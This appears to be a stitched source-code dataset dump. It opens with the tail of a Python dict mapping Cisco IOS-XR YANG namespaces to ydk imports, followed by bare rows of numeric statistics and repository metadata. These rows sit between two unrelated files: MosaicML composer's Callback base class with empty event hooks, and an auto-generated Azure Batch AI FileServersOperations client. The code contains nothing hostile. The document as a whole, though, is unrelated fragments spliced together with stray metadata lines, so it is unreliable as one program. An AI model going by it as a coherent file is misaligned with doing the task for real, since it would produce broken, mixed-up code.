('http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-cfg', 'qos') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_qos_ma_cfg import Qos',
('http://cisco.com/ns/yang/Cisco-IOS-XR-qos-ma-oper', 'qos') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_qos_ma_oper import Qos',
('http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-cfg', 'redundancy-group-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_rgmgr_cfg import RedundancyGroupManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-rgmgr-oper', 'redundancy-group-manager') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_rgmgr_oper import RedundancyGroupManager',
('http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-diag-oper', 'diag') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_sdr_invmgr_diag_oper import Diag',
('http://cisco.com/ns/yang/Cisco-IOS-XR-sdr-invmgr-oper', 'sdr-inventory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_sdr_invmgr_oper import SdrInventory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-cfg', 'sr') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_segment_routing_ms_cfg import Sr',
('http://cisco.com/ns/yang/Cisco-IOS-XR-segment-routing-ms-oper', 'srms') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_segment_routing_ms_oper import Srms',
('http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-cfg', 'host-names') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_shellutil_cfg import HostNames',
('http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-filesystem-oper', 'file-system') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_shellutil_filesystem_oper import FileSystem',
('http://cisco.com/ns/yang/Cisco-IOS-XR-shellutil-oper', 'system-time') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_shellutil_oper import SystemTime',
('http://cisco.com/ns/yang/Cisco-IOS-XR-show-fpd-loc-ng-oper', 'show-fpd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_show_fpd_loc_ng_oper import ShowFpd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper', 'platform-qos') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_skp_qos_oper import PlatformQos',
('http://cisco.com/ns/yang/Cisco-IOS-XR-skp-qos-oper', 'platform-qos-ea') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_skp_qos_oper import PlatformQosEa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-cfg', 'mib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_snmp_agent_cfg import Mib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-cfg', 'snmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_snmp_agent_cfg import Snmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-snmp-agent-oper', 'snmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_snmp_agent_oper import Snmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-corehelper-cfg', 'exception') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_spirit_corehelper_cfg import Exception',
('http://cisco.com/ns/yang/Cisco-IOS-XR-spirit-install-instmgr-oper', 'software-install') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_spirit_install_instmgr_oper import SoftwareInstall',
('http://cisco.com/ns/yang/Cisco-IOS-XR-subscriber-infra-tmplmgr-cfg', 'dynamic-template') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_subscriber_infra_tmplmgr_cfg import DynamicTemplate',
('http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-cfg', 'telemetry-model-driven') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_telemetry_model_driven_cfg import TelemetryModelDriven',
('http://cisco.com/ns/yang/Cisco-IOS-XR-telemetry-model-driven-oper', 'telemetry-model-driven') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_telemetry_model_driven_oper import TelemetryModelDriven',
('http://cisco.com/ns/yang/Cisco-IOS-XR-traffmon-netflow-cfg', 'net-flow') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_traffmon_netflow_cfg import NetFlow',
('http://cisco.com/ns/yang/Cisco-IOS-XR-tty-management-cmd-oper', 'show-users') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_management_cmd_oper import ShowUsers',
('http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-cfg', 'tty') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_server_cfg import Tty',
('http://cisco.com/ns/yang/Cisco-IOS-XR-tty-server-oper', 'tty') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_server_oper import Tty',
('http://cisco.com/ns/yang/Cisco-IOS-XR-tty-vty-cfg', 'vty') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_tty_vty_cfg import Vty',
('http://cisco.com/ns/yang/Cisco-IOS-XR-tunnel-nve-oper', 'nve') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_tunnel_nve_oper import Nve',
('http://cisco.com/ns/yang/Cisco-IOS-XR-upgrade-fpd-oper', 'fpd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_upgrade_fpd_oper import Fpd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-vservice-cfg', 'vservice') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_vservice_cfg import Vservice',
('http://cisco.com/ns/yang/Cisco-IOS-XR-wanphy-ui-oper', 'wanphy') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_wanphy_ui_oper import Wanphy',
('http://cisco.com/ns/yang/Cisco-IOS-XR-watchd-cfg', 'watchd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_watchd_cfg import Watchd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-watchd-cfg', 'watchdog') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_watchd_cfg import Watchdog',
('http://cisco.com/ns/yang/Cisco-IOS-XR-wd-cfg', 'watchdog') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_wd_cfg import Watchdog',
('http://cisco.com/ns/yang/Cisco-IOS-XR-wd-oper', 'watchdog') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_wd_oper import Watchdog',
('http://cisco.com/ns/yang/Cisco-IOS-XR-wdsysmon-fd-oper', 'system-monitoring') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_wdsysmon_fd_oper import SystemMonitoring',
}
| 113.028 | 206 | 0.761198 | 30,642 | 169,542 | 3.972097 | 0.019222 | 0.214669 | 0.268336 | 0.170352 | 0.96804 | 0.961976 | 0.922695 | 0.879684 | 0.861313 | 0.852267 | 0 | 0.009432 | 0.053226 | 169,542 | 1,499 | 207 | 113.103402 | 0.748819 | 0 | 0 | 0 | 0 | 0.880348 | 0.749842 | 0.2179 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.213235 | 0 | 0.213235 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
5bb09ad896ea36d318d0047a2067f047fc5c66b8 | 9,097 | py | Python | composer/core/callback.py | jbloxham/composer | 6dd0a0f297cafb404333d6280a5344bcb7f3bee6 | [
"Apache-2.0"
] | null | null | null | composer/core/callback.py | jbloxham/composer | 6dd0a0f297cafb404333d6280a5344bcb7f3bee6 | [
"Apache-2.0"
] | null | null | null | composer/core/callback.py | jbloxham/composer | 6dd0a0f297cafb404333d6280a5344bcb7f3bee6 | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 MosaicML. All Rights Reserved.
"""Base module for callbacks.
"""
from __future__ import annotations
import abc
from functools import wraps
from types import MethodType
from typing import TYPE_CHECKING, Any, Callable
from composer.core.serializable import Serializable
from composer.utils.ddp import is_rank_set, is_rank_zero
if TYPE_CHECKING:
from composer import Logger, State
class Callback(Serializable, abc.ABC):
"""Base class for callbacks.
A callback is similar to an
:class:`~composer.core.algorithm.Algorithm`, in that
they are run on specific events. By convention, Callbacks should not
modify :class:`~composer.core.state.State`.
Each method name corresponds to an :class:`~composer.core.event.Event`.
Subclasses of callbacks should override these methods to run in response
to given :class:`~composer.core.event.Event` invocations.
"""
def __init__(self) -> None:
super().__init__()
def init(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.INIT` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def training_start(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.TRAINING_START` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def epoch_start(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EPOCH_START` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def batch_start(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BATCH_START` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def after_dataloader(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.AFTER_DATALOADER` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def before_train_batch(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BEFORE_TRAIN_BATCH` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def before_forward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BEFORE_FORWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def after_forward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.AFTER_FORWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def before_loss(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BEFORE_LOSS` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def after_loss(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.AFTER_LOSS` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def before_backward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BEFORE_BACKWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def after_backward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.AFTER_BACKWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def after_train_batch(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.AFTER_TRAIN_BATCH` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def batch_end(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.BATCH_END` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def epoch_end(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EPOCH_END` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def training_end(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.TRAINING_END` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_start(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_START` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_batch_start(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_BATCH_START` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_before_forward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_BATCH_FORWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_after_forward(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_AFTER_FORWARD` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_batch_end(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_BATCH_END` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
def eval_end(self, state: State, logger: Logger) -> None:
"""Called on the :attr:`~composer.core.event.Event.EVAL_END` event.
Args:
state (State): The global state.
logger (Logger): The logger.
"""
del state, logger # unused
pass
class RankZeroCallback(Callback, abc.ABC):
"""Base class for callbacks that only run on the rank zero process.
.. Note::
:meth:`init` and :meth:`load_state_dict` are executed
before the DDP fork and will be called on all ranks.
"""
def __init__(self) -> None:
from composer.core import Event
super().__init__()
# ensure all callbacks are executed only on rank 0
functions_to_wrap = [*(event.value for event in Event), "state_dict"]
for fn_name in functions_to_wrap:
original_fn = getattr(self, fn_name)
@wraps(original_fn)
def wrapped_fn(
backend: RankZeroCallback,
*args: Any,
original_fn: Callable[[State, Logger], None] = original_fn,
**kwargs: Any,
) -> None:
if is_rank_set():
if not is_rank_zero():
return
return original_fn(*args, **kwargs)
setattr(self, fn_name, MethodType(wrapped_fn, self))
| 29.157051 | 85 | 0.566341 | 1,037 | 9,097 | 4.870781 | 0.116683 | 0.145912 | 0.148089 | 0.104534 | 0.765987 | 0.750346 | 0.739656 | 0.739656 | 0.739656 | 0.739656 | 0 | 0.000817 | 0.327251 | 9,097 | 311 | 86 | 29.250804 | 0.82451 | 0.453336 | 0 | 0.494845 | 0 | 0 | 0.002603 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.257732 | false | 0.226804 | 0.092784 | 0 | 0.381443 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
5be0f2749004bc40e6585ebd6e865cf48ceeba07 | 22,027 | py | Python | azure-mgmt-batchai/azure/mgmt/batchai/operations/file_servers_operations.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 4 | 2016-06-17T23:25:29.000Z | 2022-03-30T22:37:45.000Z | azure-mgmt-batchai/azure/mgmt/batchai/operations/file_servers_operations.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 2 | 2016-09-30T21:40:24.000Z | 2017-11-10T18:16:18.000Z | azure-mgmt-batchai/azure/mgmt/batchai/operations/file_servers_operations.py | v-Ajnava/azure-sdk-for-python | a1f6f80eb5869c5b710e8bfb66146546697e2a6f | [
"MIT"
] | 3 | 2016-05-03T20:49:46.000Z | 2017-10-05T21:05:27.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from msrestazure.azure_operation import AzureOperationPoller
from .. import models
class FileServersOperations(object):
"""FileServersOperations operations.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An objec model deserializer.
:ivar api_version: Specifies the version of API used for this request. Constant value: "2017-09-01-preview".
"""
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.api_version = "2017-09-01-preview"
self.config = config
def create(
self, resource_group_name, file_server_name, parameters, custom_headers=None, raw=False, **operation_config):
"""Creates a file server.
:param resource_group_name: Name of the resource group to which the
resource belongs.
:type resource_group_name: str
:param file_server_name: The name of the file server within the
specified resource group. File server names can only contain a
combination of alphanumeric characters along with dash (-) and
underscore (_). The name must be from 1 through 64 characters long.
:type file_server_name: str
:param parameters: The parameters to provide for file server creation.
:type parameters: :class:`FileServerCreateParameters
<azure.mgmt.batchai.models.FileServerCreateParameters>`
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:return:
:class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>`
instance that returns :class:`FileServer
<azure.mgmt.batchai.models.FileServer>` or
:class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if
raw=true
:rtype:
:class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>`
or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.BatchAI/fileServers/{fileServerName}'
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', pattern=r'^[-\w\._]+$'),
'fileServerName': self._serialize.url("file_server_name", file_server_name, 'str', max_length=64, min_length=1, pattern=r'^[-\w\._]+$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'FileServerCreateParameters')
# Construct and send request
def long_running_send():
request = self._client.put(url, query_parameters)
return self._client.send(
request, header_parameters, body_content, **operation_config)
def get_long_running_status(status_link, headers=None):
request = self._client.get(status_link)
if headers:
request.headers.update(headers)
return self._client.send(
request, header_parameters, **operation_config)
def get_long_running_output(response):
if response.status_code not in [200, 202]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FileServer', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
if raw:
response = long_running_send()
return get_long_running_output(response)
long_running_operation_timeout = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
return AzureOperationPoller(
long_running_send, get_long_running_output,
get_long_running_status, long_running_operation_timeout)
def delete(
self, resource_group_name, file_server_name, custom_headers=None, raw=False, **operation_config):
"""Delete a file Server.
:param resource_group_name: Name of the resource group to which the
resource belongs.
:type resource_group_name: str
:param file_server_name: The name of the file server within the
specified resource group. File server names can only contain a
combination of alphanumeric characters along with dash (-) and
underscore (_). The name must be from 1 through 64 characters long.
:type file_server_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:return:
:class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>`
instance that returns None or
:class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if
raw=true
:rtype:
:class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>`
or :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.BatchAI/fileServers/{fileServerName}'
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', pattern=r'^[-\w\._]+$'),
'fileServerName': self._serialize.url("file_server_name", file_server_name, 'str', max_length=64, min_length=1, pattern=r'^[-\w\._]+$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
def long_running_send():
request = self._client.delete(url, query_parameters)
return self._client.send(request, header_parameters, **operation_config)
def get_long_running_status(status_link, headers=None):
request = self._client.get(status_link)
if headers:
request.headers.update(headers)
return self._client.send(
request, header_parameters, **operation_config)
def get_long_running_output(response):
if response.status_code not in [200, 202, 204]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
if raw:
response = long_running_send()
return get_long_running_output(response)
long_running_operation_timeout = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
return AzureOperationPoller(
long_running_send, get_long_running_output,
get_long_running_status, long_running_operation_timeout)
def get(
self, resource_group_name, file_server_name, custom_headers=None, raw=False, **operation_config):
"""Gets information about the specified Cluster.
:param resource_group_name: Name of the resource group to which the
resource belongs.
:type resource_group_name: str
:param file_server_name: The name of the file server within the
specified resource group. File server names can only contain a
combination of alphanumeric characters along with dash (-) and
underscore (_). The name must be from 1 through 64 characters long.
:type file_server_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: :class:`FileServer <azure.mgmt.batchai.models.FileServer>` or
:class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if
raw=true
:rtype: :class:`FileServer <azure.mgmt.batchai.models.FileServer>` or
:class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
# Construct URL
url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.BatchAI/fileServers/{fileServerName}'
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', pattern=r'^[-\w\._]+$'),
'fileServerName': self._serialize.url("file_server_name", file_server_name, 'str', max_length=64, min_length=1, pattern=r'^[-\w\._]+$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('FileServer', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def list(
self, file_servers_list_options=None, custom_headers=None, raw=False, **operation_config):
"""To list all the file servers available under the given subscription
(and across all resource groups within that subscription).
:param file_servers_list_options: Additional parameters for the
operation
:type file_servers_list_options: :class:`FileServersListOptions
<azure.mgmt.batchai.models.FileServersListOptions>`
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of :class:`FileServer
<azure.mgmt.batchai.models.FileServer>`
:rtype: :class:`FileServerPaged
<azure.mgmt.batchai.models.FileServerPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
filter = None
if file_servers_list_options is not None:
filter = file_servers_list_options.filter
select = None
if file_servers_list_options is not None:
select = file_servers_list_options.select
max_results = None
if file_servers_list_options is not None:
max_results = file_servers_list_options.max_results
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/providers/Microsoft.BatchAI/fileServers'
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
if filter is not None:
query_parameters['$filter'] = self._serialize.query("filter", filter, 'str')
if select is not None:
query_parameters['$select'] = self._serialize.query("select", select, 'str')
if max_results is not None:
query_parameters['maxresults'] = self._serialize.query("max_results", max_results, 'int', maximum=1000, minimum=1)
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.FileServerPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.FileServerPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
def list_by_resource_group(
self, resource_group_name, file_servers_list_by_resource_group_options=None, custom_headers=None, raw=False, **operation_config):
"""Gets a formatted list of file servers and their properties associated
within the specified resource group.
:param resource_group_name: Name of the resource group to which the
resource belongs.
:type resource_group_name: str
:param file_servers_list_by_resource_group_options: Additional
parameters for the operation
:type file_servers_list_by_resource_group_options:
:class:`FileServersListByResourceGroupOptions
<azure.mgmt.batchai.models.FileServersListByResourceGroupOptions>`
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of :class:`FileServer
<azure.mgmt.batchai.models.FileServer>`
:rtype: :class:`FileServerPaged
<azure.mgmt.batchai.models.FileServerPaged>`
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
filter = None
if file_servers_list_by_resource_group_options is not None:
filter = file_servers_list_by_resource_group_options.filter
select = None
if file_servers_list_by_resource_group_options is not None:
select = file_servers_list_by_resource_group_options.select
max_results = None
if file_servers_list_by_resource_group_options is not None:
max_results = file_servers_list_by_resource_group_options.max_results
def internal_paging(next_link=None, raw=False):
if not next_link:
# Construct URL
url = '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.BatchAI/fileServers'
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', pattern=r'^[-\w\._]+$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
if filter is not None:
query_parameters['$filter'] = self._serialize.query("filter", filter, 'str')
if select is not None:
query_parameters['$select'] = self._serialize.query("select", select, 'str')
if max_results is not None:
query_parameters['maxresults'] = self._serialize.query("max_results", max_results, 'int', maximum=1000, minimum=1)
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters)
response = self._client.send(
request, header_parameters, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
deserialized = models.FileServerPaged(internal_paging, self._deserialize.dependencies)
if raw:
header_dict = {}
client_raw_response = models.FileServerPaged(internal_paging, self._deserialize.dependencies, header_dict)
return client_raw_response
return deserialized
